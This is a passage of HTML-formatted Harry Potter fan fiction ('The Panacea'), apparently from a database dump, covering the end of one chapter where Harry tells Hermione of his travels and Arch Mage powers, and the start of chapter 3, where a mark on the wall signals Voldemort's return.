suddenly. &#8220;That reminds me! I bought you something,\nand completely forgot to give it to you!&#8221; He rushed from the table and tore\nopen a hall closet. He took a large box from the top shelf and hurried back to\nthe dining room.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Here it is. I&#8217;m sorry I forgot, but right after I\ngot back I bought this place, started renovating, and then received word of\nDumbledore&#8217;s illness.&#8221; He handed her the box, and sat back down. &#8220;You can open it\nnow if you like. Or you can wait till I&#8217;ve finished with my story.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll wait. I&#8217;ve been waiting for this story\nlonger.&#8221; Hermione assured him.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Well, after the Orient, we took a boat ride to\nAustralia and I got to meet the Crocodile Hunter. Turned out, Sirius stayed\nwith them in his dog form for a few weeks while he was on the run. Anyway,\nwasn&#8217;t much to do there, so we headed for America. We visited Hollywood, The\nGrand Canyon, The Medicine Wheel, Chicago, Dallas, Houston, New Orleans,\nCharleston, Philadelphia, Boston, New York, and this really eerie cave with\ntiny mummies wrapped in bandages with their eyes open. That place gave me the\ncreeps. The magic in the air was palpable.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What is the Medicine Wheel? And mummies?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;The wheel is a circle of stone much like\nStonehenge, but instead of being arranged like Stonehenge, it&#8217;s arranged in the\npattern of an old wagon wheel. The Native Shamen claim that it was built in by:\nThe Men Who Had No Iron, or The Little People, because they were there too. I\nwas struck by how powerful the aura around it was. Muggles don&#8217;t notice\nanything, but the Shamen do, and Sirius and I did. It was like&#8230;I can&#8217;t really\ndescribe it, but I could tell I was in a place of incredibly old magic. The\nmummies were the same feeling, with a slight tinge of sorrow. I couldn&#8217;t help\nbut wonder who had put them there. The mummies were about a foot and a half\ntall, about the size of Leprechauns, and I think they were the Little People\nthe Shamen spoke of. Either way, I&#8217;m not going back to that cave anytime soon.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Spooked you that much?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, you try staring into faces of people that\nhave been dead for who knows how long, and the bad part is&#8230;the eyes are still\nalive!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;The eye&#8217;s aren&#8217;t decomposed, they look just like\nmine do or yours do. Still bright blue, just like they awoke from a nap. The\nmagic there was almost overwhelming, and I didn&#8217;t stay long.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Did you say &#8216;blue eyes&#8217;?&#8221; Hermione asked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, do you know anything about them?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not a lot, but I have come across mention of some\nvery powerful Leprechauns that left Ireland thousands of years ago. Nobody\nknows why they left, but there has been speculation that they had a vision, and\nit called to them.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That makes about as much sense as anything else\ndoes. After the cave, Sirius decided that I needed to experience life American\nstyle. We rented a small apartment, and spent our days watching television.\nThat&#8217;s how I managed to learn the American accent so well. I can do Scottish, a\nbit of Irish, I am zee ow&#8217; do you zay terrible at the French, and can do\npassing well with Australian. I would do a Mexican one, but I can&#8217;t do it\nwithout thinking about the little mouse cartoon that I learned it from.&#8221; He\nchuckled, but then gave into the urge. He made his voice higher and nasal.\n&#8220;Holy frijoles! I&#8217;m Speedy Gonzales! The fastest mouse in all Mejico!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione laughed at the impersonation. &#8220;That was\nspot on! I recognize that character from television I watched on one of my\nfamily&#8217;s numerous vacations to the States.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m glad you like it. We stayed there for about\nfive months, and then we came back here. I bought this shack and started\nconstructing the lower levels. I had just completed the second floor when I got\nan owl from Dumbledore. I was owling you and Ron every week, but I didn&#8217;t get\nany in return owls from him. Then I started researching spells to help\nDumbledore fight this illness. I managed to transfer a portion of my power to\nhim, and that&#8217;s what&#8217;s kept him alive for the past two years while I&#8217;ve been\nsearching. Every now and then, I get an owl from his daughter, asking me to\ncome and see him. When I do, I give him some more power to sustain him until my\nnext visit.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, how can you transfer power to him? I&#8217;ve\nnever read of such a thing being possible. One can transfer <b>ALL </b>one&#8217;s\npower to another person, but there isn&#8217;t a spell that allows a person to share\ntheir power. It either all or nothing.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry blushed, and looked down and the table. &#8220;One\nthing I learned early on is that the rules don&#8217;t apply to me Hermione.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What? How is that possible? You&#8217;re a Wizard,\nalbeit a powerful one, the rules apply to everyone.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m not a Wizard Hermione. I&#8217;m what is known as an\nArch Mage.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry! That is not possible! It takes years of\nstudying for an adult Wizard to become an Adept, and decades to become a Mage!\nHow can you be an Arch Mage?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;My father came from a long line of Mages. It was\nexpected that he would have become one in time, and the only reason he\nattempted to face Voldemort was because he had begun his Adept training and\nthought he might stand a chance. He was wrong. However, with all his power\nrunning through my veins, it was inevitable that I too would one day reach Mage\nstatus. But something happened that caused a considerable boost to my power.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Voldemort.&#8221; Hermione said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah. When his curse backfired, it transferred all\nhis powers to me, and combined with my latent powers inherited from my father.\nThat boosted my power quite a bit more.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll bet. That must have sent your power level\nthrough the roof!&#8221; Hermione exclaimed.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;It did. I learned that Voldemort was a Mage too.\nThat&#8217;s why no one could stand against him except Dumbledore. They&#8217;re both\nMages, although Dumbledore was slightly stronger due to being older and\nstudying longer. I am the first Arch Mage in centuries.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wow!&#8221; Hermione&#8217;s mouth had fallen open. &#8220;I know I\nseem to be saying that a lot, but it&#8217;s the only coherent thought in my head.\nJust wow!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;How do you think I felt? I learned all this during\n7th year, before we spent those four days in the library researching\nExcalibur&#8217;s location. Then I began training with Dumbledore, and learned how to\nuse some of my power. Then, when I got back from vacation, some new ones\nappeared and that&#8217;s why I didn&#8217;t visit you like I wanted, I wasn&#8217;t in full\ncontrol of the new ones yet. I found this out the hard way, I had originally\nwanted this place to be a two story, but the power got out of hand and suddenly\nI had way more space than I had planned. So I made it a three story instead. I\ncan happily say however, that I haven&#8217;t blown anything up in at least six\nmonths, so I&#8217;m finally safe to be around.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s nice to know.&#8221; Hermione said dryly. &#8220;Harry,\nyou have to be careful. I&#8217;ve never even read about someone with as much power\nas you have. Can you really control it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ve spent the past two years getting a handle on\nit, now I can honestly say that I am in full control of it.&#8221; Harry grinned\nsheepishly. &#8220;Except of course when I get excited.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I guess I&#8217;ll have to remember not to get you\nexcited then.&#8221; Hermione smiled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I can do without that kind of talk.&#8221; Harry\nfrowned. &#8220;It&#8217;s not conducive to my self control at all.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m sorry, I&#8217;ll behave.&#8221; Hermione pouted.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;See that you do. Just being near you is taxing my\nresolve, and that little voice is screaming in my head. And if that doesn&#8217;t\npersuade you, think about all the damage I could do if I get too excited. Now,\nI&#8217;m immune to my power, but you&#8217;re not. I don&#8217;t want to see what charbroiled\nHermione looks like.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh. I wasn&#8217;t aware that it was that volatile.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;And then some. I&#8217;m hoping that by the time we cure\nDumbledore, I&#8217;ll be able to function like a normal man without incinerating\nyou.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I guess we&#8217;ll just have to get you acclimated to\nmy touch in increments then. We&#8217;ll start out with just little things like\nholding hands. Do you think you can handle that?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, I can take that and probably a bit more. I\njust don&#8217;t wanna chance hurting you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay. We&#8217;ll move at your speed then.&#8221; Hermione\nchanged the subject suddenly. &#8220;What was your great news?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh that! I found out a possible name for the book\nthat contains the curse and cure. It&#8217;s called Merlin&#8217;s Memoirs, or a play on\nthose words.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wow! How did you learn this? You were only gone\nfor a little while, not nearly long enough to go back to the library.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry rubbed the back of his neck. &#8220;I got this\nstrange urge to ask Excalibur, and miracles of miracles it knew what I was\ntalking about. It told me that Merlin&#8217;s book was very popular reading among\nwizards a thousand years ago.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione got up from the table and walked over to\nHarry&#8217;s chair. &#8220;How long have you been researching this spell?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Uh&#8230;off and on, I&#8217;d say around a year.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione smiled sweetly, then gave him the mother\nof all Stooge slaps to the back of his head.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;OW! HERMIONE! What was that for?&#8221; Harry asked,\nrubbing his head.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You&#8217;ve been researching this spell for around a\nyear, and you had vital information at your fingertips the entire time? Why\ndidn&#8217;t you ask Excalibur before? I thought I taught you better than that\nHarry.&#8221; Hermione admonished.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You did, but it never even occurred to me to ask\nthe sword. I mean, how many normal people go around asking their weapons for\nadvice?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You are Harry Potter, the abnormal is normal for\nyou.&#8221; Hermione smiled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;This is true.&#8221; Harry admitted nodding his head. &#8220;\nI just wish I had thought to ask sooner! All that tedious reading could have\nbeen avoided!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione laughed. &#8220;Poor Harry! You had to learn for\nno reason. Perish the thought!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Ha ha. Laugh it up fuzzball.&#8221; Harry grinned.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Fuzzball! Ooooh! Star Wars quotes,&#8221; Hermione cracked\nher knuckles. &#8220;Why you stuck up, half witted, scruffy looking&#8230;Nerfherder!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Who&#8217;s scruffy lookin&#8217;?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You are!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">They dissolved into laughter. </p>\n\n<p class="MsoBodyTextIndent2">Harry stopped first, wiping tears from his eyes.\n&#8220;It&#8217;s just not as much fun without Ron to do Chewie.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know. I really miss how much fun the three of us\nused to have.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Don&#8217;t worry, I got a feeling that we&#8217;re gonna need\nhim for at least one of the ingredients.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah. We need the boiling blood from a Fire Drake,\nand from what Excalibur said, we&#8217;re gonna need all the help we can get!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;A Fire Drake? Harry, those things are dangerous!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know. According to Excalibur, nothing can\nwithstand the wrath of a Fire Drake except&#8230;objects not made by mortal hands.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wow. That&#8217;s going to be a tough order to fill.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah it is. We also have to summon an Alicorn for\nsomething.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;An Alicorn?&#8221; Hermione asked, &#8220;What&#8217;s that?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Way I hear it, it&#8217;s an extremely aggressive flying\nunicorn. It only responds to a particular summons, and will not tolerate any\nmagic used from the time it is contacted until after it has completed its\ntask.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s odd.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not really. They&#8217;re only vulnerable to magic\nattacks. Which is why no magic is allowed at any time from first contact till\nthe thing has left.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Anything else?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry flushed, but since he had come this far,\nthere was no turning back. &#8220;Uhmmm&#8230;Itcanonlybesummonedbyafemalevirgin.&#8221; He said\nquickly.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh my!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;HERMIONE! You <b>CAN</b> summon the Alicorn, can&#8217;t\nyou?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione turned scarlet, and nodded. &#8220;Y&#8212;y&#8212;yes.&#8221; She\nstammered.</p>\n\n<p class="MsoBodyTextIndent2">Harry blew out a breath he hadn&#8217;t realized he&#8217;d\nbeen holding. &#8220;Whew! That&#8217;s a relief! I didn&#8217;t want to tell you that part\nbecause I wasn&#8217;t sure how you&#8217;d take it. You had me worried for a minute\nthere.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry Potter! Are you saying that my virtue was a\nquestion mark in your mind?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Uh NO! Of course not! I&#8212;I&#8212;I didn&#8217;t&#8230;&#8221; Harry wasn&#8217;t\nhelping his situation any, and decided the best way out of it was to distract\nher with something else. &#8220;My little voice wouldn&#8217;t have told me to keep my hands\nto myself if you didn&#8217;t have your virtue.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione&#8217;s eyes narrowed. &#8220;You were still wondering\nthough.&#8221; It wasn&#8217;t a question, and Harry was unsure of how to get out of the\nhole that seemed to be getting deeper no matter what he said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione, I&#8217;m sorry.&#8221; He gave her his best, lost\npuppy look.</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;&#8220;That&#8217;s not\ngoing to save you Harry! You questioned my virtue and I am appalled. How could\nyou think such a thing?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Well, I didn&#8217;t <i>mean</i> to think it.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m sure you didn&#8217;t, but deep down you still\nwondered and that&#8217;s what bothers me.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione. Pumpkin, I nev&#8230;&#8221; Harry started, but\nHermione cut him off quickly.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What? What did you call me?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry looked nervous. &#8220;Uh&#8230; Pumpkin? Is it too soon\nfor me to say that? ForgetitItakeitback!&#8221; he said, when her expression changed\nfrom curious to something he had trouble reading.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No. No, I like it. Pumpkin. Why Pumpkin though?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry shrugged. &#8220;I don&#8217;t know it just seemed to\nfit. Plus, remember that pumpkin pie we tried to make in 7th year?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione laughed. &#8220;How could I forget? We got it\nall over us when that beater you enchanted to stir it went crazy.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry was pleased that his plan to throw her off\nthe previous subject was working so well. &#8220;Hey, I couldn&#8217;t help it. That was one\nof those times when my power got away from me.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Really? What caused you to lose control of it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry frowned. &#8220;You know, I haven&#8217;t been able to\nfigure that out? It was the first time one of my spells went haywire, and I\nhave no idea why.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Maybe it was an indicator that your powers were\ngetting much stronger than you were used to.&#8221; Hermione offered.</p>\n\n<p class="MsoBodyTextIndent2">Harry shrugged. &#8220;I guess. That does fit in with the\nevents that happened later that year. First the pie incident, then the research\nfor Excalibur, and those four lovely days in the library,&#8221; he scowled in\nmemory, &#8220;and then my training with Dumbledore.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione giggled. &#8220;Poor Harry. You&#8217;ve spent the\nmajority of the past two years researching one thing or another. Ever consider\na job in a research field? I&#8217;m sure you&#8217;d be good at it. What with all your\nexperience and all.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not funny. Why don&#8217;t you open your present instead\nof picking on me?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione pinched his cheek. &#8220;But you&#8217;re so cute\nwhen you&#8217;re feeling picked on!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry playfully slapped at her hand. &#8220;I am not!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Are too!&#8221; Hermione ruffled his hair, making it\nstick up even more than usual.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey!&#8221; Harry said, trying to stop her. &#8220;I just got\nit to lay down!&#8221; He attempted to smooth his wayward locks, but Hermione stopped\nhim.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Don&#8217;t,&#8221; she said, &#8220;I like it wild.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry stopped trying to fix his hair. &#8220;Really? I\nthought you liked clean cut guys.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione blushed. &#8220;I do, mostly. But I&#8230;&#8221; She turned\naround and faced the wall. &#8220;Uh&#8230;Harry!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry spun to look at her, and an incredible\nsearing pain ripped through his head making him cry out. He stumbled from his\nchair, and hit the floor on his knees. Through the blood running down his face,\nhe could make out writing on the wall. His eyes refused to focus, and rolled up\ninto his head. Harry slumped sideways, his head coming to rest on the seat of\nhis chair. The last thing he heard before losing consciousness was Hermione\nscream.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;HARRY!&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b>&nbsp;\nPlease read and review.&nbsp; I&#8217;ll\ntake any kind of constructive criticism.&nbsp;\nI <b>really need</b> some good constructive criticism.&nbsp; If you like it, tell me why &amp; in\ndetail.&nbsp; If you don&#8217;t like it, tell me\nwhy &amp; in extreme detail.&nbsp; I&#8217;ll even\ntake flames, <b>IF</b> they are constructive.&nbsp;\nRemember, the more reviews I get the faster I can get out the other\nchapters!&nbsp; = )</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(107, 3, '\n\n\n\n<p class="MsoNormal"><b>Title:</b> Harry Potter and The Panacea &#8211; Chapter 03<br>\n<b>Author name:</b> Falcon<br>\n<b>Author email:</b> falcun_21@yahoo.com<br>\n<b>Category:</b> Schnoogle<br>\n<b>Sub Category:</b> Action/Adventure, Romance, Humor<br>\n<b>Keywords:</b> H/Hr<br>\n<b>Rating:</b> NC-17 <br>\n<b>Summary:</b> Two years have gone by since the end of Harry&#8217;s final\nyear.&nbsp; Voldemort is dead.&nbsp; Harry has withdrawn from the wizarding\nsociety after defeating Voldemort and graduation from Hogwarts, but still keeps\nin contact with Ron &amp; Hermione through owl post and occasional visits.&nbsp; Ron is a Chudley Cannon. Hermione has been\nworking at Hogwarts since their final year with all the Professors.&nbsp; Sirius has been acquitted of all charges\nagainst him and is the Transfiguration Professor.&nbsp; Professor McGonagall is the new Headmistress replacing an ill\nHeadmaster Dumbledore and Flitwick is the Deputy Headmaster.&nbsp; Lupin is reinstated as the DADA Professor\nafter Moody&#8217;s retirement.&nbsp; </p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>Disclaimer</b>: All characters belong to JKR, and I ain&#8217;t\nmaking no money off them. This story is made up of my own original ideas, and\nany resemblance to anyone else&#8217;s is strictly coincidental, and unintentional.<b></b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b>Chapter\n3</b></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent2">It was many hours later when Harry awoke. His skull\nfelt like it was trying to split open, and his scar gave the impression that a\nbranding iron had been pressed to his flesh. Through the pain in his head, he\ncould hear Hermione pleading with him to wake up. He realized that his head was\nresting on her lap, and that she was holding a damp cloth to his forehead.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, please come back to me!&#8221; Hermione begged. </p>\n\n<p class="MsoBodyTextIndent2">Harry cracked his eyes open and groaned.\n&#8220;Hermione.&#8221; He noticed that her eyes were red and puffy, and her hair was very\nunkempt.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;HARRY!&#8221; Hermione cried. &#8220;Are you okay?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Shhhh. Not so loud,&#8221; Harry whispered. He sat up,\nand the rag fell from his head. He started to speak, but his stomach gave a\nsharp lurch, and he barely had time to turn his head before he vomited. He\nturned over onto his hands and knees, and heaved again. He bowed his head as\nanother wave of nausea washed over him, and he purged his stomach of its\nremaining contents. Harry looked up at the ceiling and took deep breaths. He\nfelt something very cool brush his forehead, and push back his sweaty\nhair.&nbsp;&nbsp; </p>\n\n<p class="MsoBodyTextIndent2" style="margin-left:.5in;text-indent:3.0pt">&#8220;Are you\nalright?&#8221; Hermione asked, her hand combing softly through his hair.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyTextIndent2" style="margin-left:.5in;text-indent:3.0pt">&nbsp;&#8220;Yeah,&#8221; Harry said, &#8220;the nausea&#8217;s getting\nbetter.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;Hermione\nlooked at the puddle on the floor, said a cleansing charm and the mess\nvanished. &#8220;Here.&#8221; She said, handing him the wet cloth. Harry took it and wiped\nhis mouth.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I was so worried!&#8221; Hermione&#8217;s fear was still\nevident. She buried her face in his shoulder and hugged him tightly. &#8220;I thought\nI&#8217;d lost you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;It&#8217;s okay, I&#8217;m here and I&#8217;m not going anywhere\nwithout you.&#8221; Harry closed his eyes and held her tight. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;I tried everything I could think of to wake you\nup, but nothing worked. I wanted to owl Sirius, but that meant leaving you, and\nI didn&#8217;t want to do that.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m okay,&#8221; Harry said. A fresh wave of pain chose\nthat moment to rocket through his skull and he clutched his head in both hands,\nas if to keep it from coming apart. &#8220;I think,&#8221; he groaned. The pain seemed to\ngrow stronger the more he moved his eyes around, and he closed them and pressed\nthe first two fingers of his hand to his forehead to alleviate the pain. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry? Are you really alright?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I don&#8217;t know.&#8221; He used his other hand to rub his\neyes. &#8220;My head is killing me, and my eyes feel like they&#8217;re on fire.&#8221; Harry\nsquinted at Hermione. &#8220;You&#8217;re also getting fuzzy.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry! Your <i>EYES</i>!&#8221; Hermione said, very\nshaken.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What&#8212;what&#8217;s wrong with them?&#8221; Harry asked, a hint\nof fear in his voice.</p>\n\n<p class="MsoBodyTextIndent2">Hermione drew back from him, and put up a hand, as\nif to ward off something, and scrambled backwards. &#8220;They&#8217;re glowing bright\ngreen!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry closed his eyes again. &#8220;Oh. That&#8217;s happened\nbefore.&#8221; He breathed a sigh of relief. &#8220;I was beginning to worry for a second.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No Harry! When you use your powers, only the\nmiddle of your eyes glow but right now your <i>ENTIRE</i> eye is glowing!&#8221;\nHermione sounded like she was on the verge of panic.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That is new.&#8221; Harry said, more calmly than he\nactually felt. He was just as scared as Hermione, but knew that if he started\nlosing it, then she would be gone for sure. &#8220;Try to keep it together Honey.\nYou&#8217;re no use if you&#8217;re all wonky.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione took several deep breaths, exhaling very\nslowly. &#8220;I think I&#8217;m alright now Harry.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Good.&#8221; Harry opened his eyes. &#8220;How are they now?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Much better, they&#8217;re back to normal. Do they feel\nany different?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry squinted. &#8220;Oh bollocks! I&#8217;m blind again.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;<i>WHAT!</i>&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Relax, I&#8217;m not completely blind. I just need my\nglasses.&#8221; Harry waved his hand, and his glasses appeared out of nowhere. He\nslipped them on and looked around. &#8220;Ahhhh,&#8221; he sighed, &#8220;everything seems to be\ngoing back to normal.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry James Potter! Don&#8217;t scare me like that,&#8221;\nHermione admonished sharply.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Sorry,&#8221; Harry said, a trifle sheepishly. &#8220;I didn&#8217;t\nmean to.&#8221; He stood up, then reached down and pulled Hermione to her feet. &#8220;Have\nyou examined it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes, and to tell the truth, I&#8217;m stumped. I have no\nidea how it could have happened.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll know in a minute.&#8221; Harry said grimly, turning\nto take a long look at the dining room wall. It was very faded, resembling old\npaint, but he could just make out the word that had been very vivid the night\nbefore.</p>\n\n<p class="MsoBodyTextIndent2"><i>Potter!</i></p>\n\n<p class="MsoBodyTextIndent2">Harry looked at it from various angles. At first\nglance it had appeared to be painted on, but upon further inspection, he saw\nthat it was in fact <i>etched</i> into the wall. The main bar of the &#8220;P&#8221; ended\nin a lightning bolt, and Harry frowned. He placed his hand about an inch from\nthe wall&#8217;s surface, and slowly moved it over the letters of his name. As he\npassed each one it glowed with an eerie green light and disappeared from\nsight.&nbsp; As he moved from letter to\nletter, his frown grew deeper and deeper. When he got to the last one, Harry\nfelt his blood run cold, and he shivered. &#8220;Uh oh.&#8221; He mumbled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What? What&#8217;s wrong?&#8221; Hermione asked quickly. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Trouble, BIG trouble, emphasis on the BIG.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Out with it!&#8221; Hermione said, her exasperation beginning\nto show.</p>\n\n<p class="MsoBodyTextIndent2">Harry took a deep breath, and grimaced, &#8220;Voldemort\nis back.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;How can you be sure?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;This.&#8221; Harry said, pointing at his no longer\noozing scar. &#8220;This.&#8221; He pointed to his glasses. &#8220;And this.&#8221; He indicated the\nname on the wall.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;But I thought you said he was gone for good?&#8221; said\nHermione.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I thought he was.&#8221; Harry insisted, &#8220;But it would\nappear that he has marked me for death yet again.&#8221; <br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s found a way to come\nback?&#8221; she asked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That, or someone has found a way to bring him\nback,&#8221; he said. &#8220;Either way, it&#8217;s up to me to stop him.&#8221; Harry strode for the\ndoor, an intense look on his face. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;No Harry!&#8221; Hermione hurried to catch up. &#8220;We have\nto alert the Order!&#8221; She said, doing her best to match his pace. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;I knew you were going to say that.&#8221; Harry sighed.</p>\n\n<p 